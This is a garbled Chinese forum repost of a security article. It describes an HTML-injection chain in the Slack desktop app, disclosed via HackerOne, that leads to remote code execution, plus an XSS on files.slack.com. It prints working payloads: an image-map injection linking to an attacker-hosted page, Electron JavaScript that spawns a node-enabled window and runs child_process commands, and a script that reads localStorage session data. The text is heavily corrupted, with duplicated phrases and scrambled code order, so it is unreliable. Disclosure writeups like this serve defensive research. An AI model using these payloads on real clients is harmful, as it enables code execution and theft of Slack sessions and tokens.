搜索

[15839] 2020-09-11_安全研究Slack桌面应用程序的RCE漏洞+XSS漏洞

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2020-09-11_安全研究Slack桌面应用程序的RCE漏洞+XSS漏洞 安 全 研 究   |   S l a c k 桌 面 应 用 程 序 的 R C E 漏 洞 + X S S 漏 洞 c l o u d s   F r e e B u f   2 0 2 0 - 0 9 - 1 1 对 于 对 于 S l a c k 的 桌 面 应 用 程 序 来 说 ， 一 些 应 用 内 跳 转 、 的 桌 面 应 用 程 序 来 说 ， 一 些 应 用 内 跳 转 、 X S S 、 逻 辑 重 定 向 和 、 逻 辑 重 定 向 和 H T M L 或 或 j a v a s c r i p t 注 入 注 入 b u g ， 都 有 可 能 导 致 任 意 代 码 执 行 。 这 篇 ， 都 有 可 能 导 致 任 意 代 码 执 行 。 这 篇 W r i t e u p 就 讲 述 了 作 者 通 过 构 造 就 讲 述 了 作 者 通 过 构 造 H T M L 注 入 ， 绕 过 注 入 ， 绕 过 S l a c k 安 全 控 制 措 施 ， 最 终 在 安 全 控 制 措 施 ， 最 终 在 S l a c k 桌 面 应 用 中 实 现 了 桌 面 应 用 中 实 现 了 R C E 漏 洞 的 情 况 。 漏 洞 的 情 况 。 为 了 证 明 该 R C E 漏 洞 造 成 的 实 际 危 害 和 利 用 场 景 ， 作 者 从 H T M L 注 入 和 J a v a s c r i p t     p a y l o a d 的 构 造 说 起 ， 最 后 还 附 加 披 露 了 S l a c k 测 试 范 围 外 的 一 个 X S S 漏 洞 ， 作 者 认 为 虽 然 该 X S S 漏 洞 同 样 可 导 致 R C E 漏 洞 ， 也 应 该 引 起 S l a c k 的 重 视 。 漏 洞 利 用 漏 洞 利 用 攻 击 者 端 ： 1 、 构 造 一 个 包 含 R C E   p a y l o a d 的 文 件 准 备 上 传 到 S l a c k 服 务 端 2 、 以 H T M L 注 入 方 式 构 造 一 个 S l a c k 发 贴 （ S l a c k   P o s t ） 3 、 把 这 个 包 含 H T M L 注 入 的 S l a c k 发 贴 分 享 到 频 道 或 其 他 用 户 受 害 者 端 ： 受 害 者 点 击 攻 击 者 构 造 的 迷 惑 图 片 即 可 中 招 实 现 R C E ， 攻 击 者 在 P a y l o a d 中 精 心 构 造 ， 可 以 控 制 受 害 者 端 的 H T M L 跳 转 到 攻 击 者 指 定 的 恶 意 网 站 。 整 个 漏 洞 利 用 链 绕 过 了 S l a c k 桌 面 应 用 程 序 的 安 全 防 护 措 施 ， 可 实 现 在 受 害 者 端 的 任 意 代 码 执 行 。 以 以 J S O N 形 式 构 造 包 含 形 式 构 造 包 含 H T M L 注 入 的 注 入 的 S l a c k 发 贴 发 贴 1 、 创 建 一 个 带 主 题 和 相 关 内 容 的 、 创 建 一 个 带 主 题 和 相 关 内 容 的 S l a c k 发 贴 发 贴 这 里 ， 如 果 我 们 创 建 一 个 S l a c k 发 贴 ， 将 会 向 h t t p s : / / f i l e s . s l a c k . c o m 服 务 端 执 行 以 下 J S O N 形 式 的 内 容 请 求 : 另 外 ， 我 们 可 以 通 过 请 求 / a p i / f i l e s . i n f o 路 径 获 得 该 发 贴 文 件 的 特 定 U R L 链 接 ： 在 请 求 / a p i / f i l e s . i n f o 的 响 应 中 ， 我 们 可 以 看 到 发 贴 文 件 的 特 定 U R L 链 接 为 ： h t t p s : / / f i l e s . s l a c k . c o m / f i l e s - p r i / { T E A M _ I D } - { F I L E _ I D } / T I T L E ， 我 们 可 以 通 过 访 问 该 链 接 看 到 其 是 一 个 J S O N 形 式 的 元 素 内 容 。 2 、 构 造 、 构 造 H T M L 注 入 注 入 P a y l o a d 有 了 上 述 S l a c k 发 贴 的 J S O N 形 式 后 ， 其 实 我 们 可 以 依 此 在 其 中 进 行 一 番 构 造 ， 再 反 过 来 进 行 上 传 ， 观 察 构 造 后 的 发 贴 内 容 。 比 如 我 们 可 以 在 其 中 加 入 H T M L ， 如 通 常 的 i f r a m e ,   a p p l e t ,   m e t a ,   s c r i p t , f o r m 等 都 是 可 利 用 的 标 签 ， 另 外 ， 还 有 t a r g e t 标 签 重 写 为 _ b l a n k 的 问 题 。 但 是 ， C S P 策 略 和 其 它 安 全 防 护 措 施 对 H T M L 中 J a v a s c r i p t 等 脚 本 运 行 有 了 很 多 限 制 。 然 而 ， 经 测 试 分 析 ， 我 发 现 即 使 有 C S P 等 安 全 措 施 ， 仍 然 可 以 向 H T M L 中 注 入 a r e a 和   m a p 标 签 ， 实 现 一 键 式 R C E 漏 洞 。 为 了 直 接 对 我 们 的 发 贴 内 容 进 行 编 辑 ， 可 以 直 接 访 问 以 下 链 接 对 其 内 容 进 { " f u l l " : " < p > c o n t e n t < / p > " , " p r e v i e w " : " < p > c o n t e n t < / p > " }
行 J S O N 形 式 构 造 ： 链 接 打 开 之 后 的 J S O N 格 式 如 上 图 所 示 ， 我 们 即 可 在 其 中 加 入 我 们 的 P a y l o a d 元 素 进 行 J S O N 形 式 构 造 。 此 外 ， 还 可 用 B u r p 流 量 拦 截 方 式 ， 在 其 中 加 入 J a v a s c r i p t 或 J S O N 脚 本 ， 或 更 改 文 件 类 型 （ f i l e t y p ） 参 数 向 其 中 注 入 d o c 文 件 。 如 向 其 中 构 造 加 入 J S O N 的 P a y l o a d ： 我 们 可 以 在 贴 文 的 标 题 修 改 过 程 中 针 对 / a p i / f i l e s . e d i t 路 径 进 行 B u r p 流 量 拦 截 ： 由 于 C S P 策 略 的 防 护 、 各 种 H T M L 标 签 的 安 全 限 制 和 J a v a s c r i p t 脚 本 运 行 的 禁 止 ， 我 只 好 构 造 了 以 下 H T M L 注 入 型 P a y l o a d ： 注 意 该 P a y l o a d 中 需 要 以 u s e m a p 属 性 引 用 一 副 图 片 ， 因 此 我 们 可 以 事 先 在 S l a c k 网 络 服 务 中 上 传 这 幅 图 片 ， 以 备 后 用 。 因 此 ， 结 合 这 幅 图 片 ， 我 们 可 以 通 过 以 下 贴 文 链 接 直 接 对 贴 文 进 行 J S O N 形 式 构 造 ： 构 造 后 的 贴 文 J S O N 形 式 为 ： 3 、 托 管 在 攻 击 者 服 务 器 中 的 、 托 管 在 攻 击 者 服 务 器 中 的 R C E 漏 洞 利 用 代 码 漏 洞 利 用 代 码 上 述 P a y l o a d 中 a r e a 标 签 内 的 h t t p s : / / a t t a c k e r . c o m / t . h t m l ， 就 是 最 终 形 成 R C E 漏 洞 的 触 发 条 件 ， 它 可 以 实 现 攻 击 者 构 造 的 任 意 命 令 执 行 ， t . h t m l 内 容 如 下 ： h t t p s : / / { Y O U R - T E A M - H O S T N A M E } . s l a c k . c o m / f i l e s / { Y O U R - M E M B E R - I D } / { F I L E - I D } / t i t l e / e d i t < i m g   s r c = " h t t p s : / / f i l e s . s l a c k . c o m / f i l e s - t m b / T 0 2 A V L 3 A F - F S U E 0 4 U 2 D - 8 8 1 f 6 9 2 a 2 5 / s c r e e n s h o t _ 2 0 2 0 - 0 1 - 2 6 _ a t _ 2 1 . 1 2 . 2 0 _ 3 6 0 . p n g "   w i d t h = " 1 0 0 0 0 "   h e i g h t = " 1 0 0 0 0 "   u s e m a p = " # s l a c k - i m g " > < m a p   n a m e = " s l a c k - i m g " > < a r e a   s h a p e = " r e c t "   c o o r d s = " 1 0 0 0 0 , 1 0 0 0 0   0 , 0 "   h r e f = " h t t p s : / / a t t a c k e r . c o m / t . h t m l "   t a r g e t = " _ s e l f " > < / m a p > h t t p s : / / { Y O U R - T E A M - H O S T N A M E } . s l a c k . c o m / f i l e s / { Y O U R - M E M B E R - I D } / { F I L E - I D } / t i t l e / e d i t {     " f u l l " :   " a s d " ,     " p r e v i e w " :   " < i m g   s r c = " h t t p s : / / f i l e s . s l a c k . c o m / f i l e s - t m b / T 0 2 A V L 3 A F - F S U E 0 4 U 2 D - 8 8 1 f 6 9 2 a 2 5 / s c r e e n s h o t _ 2 0 2 0 - 0 1 - 2 6 _ a t _ 2 1 . 1 2 . 2 0 _ 3 6 0 . p n g "   w i d t h = " 1 0 0 0 0 "   h e i g h t = " 1 0 0 0 0 "   u s e m a p = } < h t m l > < b o d y > < s c r i p t >     / /   o v e r w r i t e   f u n c t i o n s   t o   g e t   a   B r o w s e r W i n d o w   o b j e c t :
如 果 要 在 R C E 中 跳 出 弹 窗 形 式 ， 可 以 把 其 中 的 o p e n   / A p p l i c a t i o n s / C a l c u l a t o r . a p p 用 c a l c 等 系 统 应 用 程 序 代 替 。 4 、 敏 感 数 据 信 息 获 取 、 敏 感 数 据 信 息 获 取 通 过 更 改 攻 击 者 网 站 托 管 的 t . h t m l 为 以 下 内 容 ， 利 用 该 漏 洞 可 以 无 需 交 互 或 命 令 执 行 ， 即 可 获 取 受 害 者 电 脑 中 的 S l a c k 敏 感 数 据 ， 如 用 户 会 话 、 传 递 文 件 、 t o k e n 等 信 息 。 本 质 上 来 说 ， 攻 击 者 利 用 该 漏 洞 可 以 通 过 B r o w s e r W i n d o w 方 式 建 立 隧 道 t u n n e l 或 重 写 S l a c k 应 用 程 序 函 数 的 形 式 ， 去 执 行 任 意 的 J a v a s c r i p t 代 码 ， 以 此 去 获 取 受 害 者 系 统 中 S l a c k 应 用 中 如 会 话 、 传 递 资 料 、 加 入 频 道 等 敏 感 数 据 信 息 。 S l a c k 的 另 一 个 的 另 一 个 X S S 漏 洞 漏 洞 在 测 试 R C E 漏 洞 的 过 程 中 ， 我 发 现 S l a c k 中 的 发 送 邮 件 内 容 被 无 过 滤 存 储 在 了 h t t p s : / / f i l e s . s l a c k . c o m 中 ， 其 文 件 链 接 形 式 与 上 述 贴 文 形 式 一 样 ， 且 可 以 直 接 以 t e x t / h t m l 方 式 被 请 求 响 应 。 因 此 ， 利 用 上 述 贴 文 J S O N 构 造 注 入 方 法 ， 可 以 在 其 中 嵌 入 包 含 R C E   P a y l o a d 内 容 的 邮 件 链 接 ， 当 然 ， 此 处 嵌 入 的 邮 件 链 接 不 需 要 托 管 于 攻 击 者 服 务 器 中 。 但 我 们 可 以 在 如 下 的 邮 件 内 容 中 再 嵌 套 加 入 钓 鱼 网 页 链 接 ：     / /   o v e r w r i t e   f u n c t i o n s   t o   g e t   a   B r o w s e r W i n d o w   o b j e c t :     w i n d o w . d e s k t o p . d e l e g a t e   =   { }     w i n d o w . d e s k t o p . d e l e g a t e . c a n O p e n U R L I n W i n d o w   =   ( )   = >   t r u e     w i n d o w . d e s k t o p . w i n d o w   =   { }     w i n d o w . d e s k t o p . w i n d o w . o p e n   =   ( )   = >   1     b w   =   w i n d o w . o p e n ( ' a b o u t : b l a n k ' )   / /   l e a k   B r o w s e r W i n d o w   c l a s s     n b w   =   n e w   b w . c o n s t r u c t o r ( { s h o w :   f a l s e ,   w e b P r e f e r e n c e s :   { n o d e I n t e g r a t i o n :   t r u e } } )   / /   l e t ' s   m a k e   o u r   o w n   w i t h   n o d e I n t e g r a t i o n     n b w . l o a d U R L ( ' a b o u t : b l a n k ' )   / /   n e e d   t o   l o a d   s o m e   U R L   f o r   i n t e r a c t i o n     n b w . w e b C o n t e n t s . e x e c u t e J a v a S c r i p t ( ' t h i s . r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c ( " o p e n   / A p p l i c a t i o n s / C a l c u l a t o r . a p p " ) ' )   / /   e x e c   c o m m a n d < / s c r i p t > < / b o d y > < / h t m l > < h t m l > < b o d y > < s c r i p t >     w i n d o w . d e s k t o p . d e l e g a t e   =   { }     w i n d o w . d e s k t o p . d e l e g a t e . c a n O p e n U R L I n W i n d o w   =   ( )   = >   t r u e     w i n d o w . d e s k t o p . w i n d o w   =   { }     w i n d o w . d e s k t o p . w i n d o w . o p e n   =   ( )   = >   1     b w   =   w i n d o w . o p e n ( ' a b o u t : b l a n k ' )     n b w   =   n e w   b w . c o n s t r u c t o r ( { s h o w :   f a l s e } )   / /   n o d e   n o t   n e c e s s a r y   f o r   t h i s   d e m o     n b w . l o a d U R L ( ' h t t p s : / / a p p . s l a c k . c o m / r o b o t s . t x t ' )   / /   r o b o t s . t x t   f o r   s p e e d ,   a p p . s l a c k . c o m   g i v e s   u s   t h e   u s e r ' s   f u l l   e n v i r o n m e n t       n b w . w e b C o n t e n t s . e x e c u t e J a v a S c r i p t ( ' a l e r t ( J S O N . s t r i n g i f y ( l o c a l S t o r a g e ) ) ' ) < / s c r i p t > < / b o d y > < / h t m l >
同 样 的 ， 利 用 该 种 X S S 方 式 一 样 可 以 实 现 R C E 漏 洞 ， 如 在 m a c O S 系 统 邮 件 客 户 端 中 ， 可 构 造 如 下 H T M L   R C E   P a y l o a d ： 漏 洞 危 害 漏 洞 危 害 远 程 代 码 执 行 ： 远 程 代 码 执 行 ： 1 、 获 取 受 害 者 密 钥 、 密 码 凭 据 、 内 部 网 络 架 构 等 敏 感 数 据 信 息 ； 2 、 获 取 受 害 者 的 S l a c k 私 信 会 话 、 传 递 文 件 等 信 息 ； 3 、 反 复 的 漏 洞 传 播 利 用 甚 至 可 引 发 “ 蠕 虫 级 ” 攻 击 ； f i l e s . s l a c k . c o m 中 的 中 的 X S S ： ： 1 、 可 以 构 造 * . s l a c k . c o m 路 径 下 任 意 H T M L 内 容 的 可 信 页 面 ； 2 、 可 以 被 用 来 执 行 假 冒 登 录 页 面 的 钓 鱼 攻 击 ； 3 、 可 以 用 来 存 储 上 述 提 到 的 R C E 漏 洞 利 用 代 码 。 详 细 漏 洞 报 告 请 参 考 ： h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 7 8 3 8 7 7 参 考 来 源 ： 参 考 来 源 ： h a c k e r o n e 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理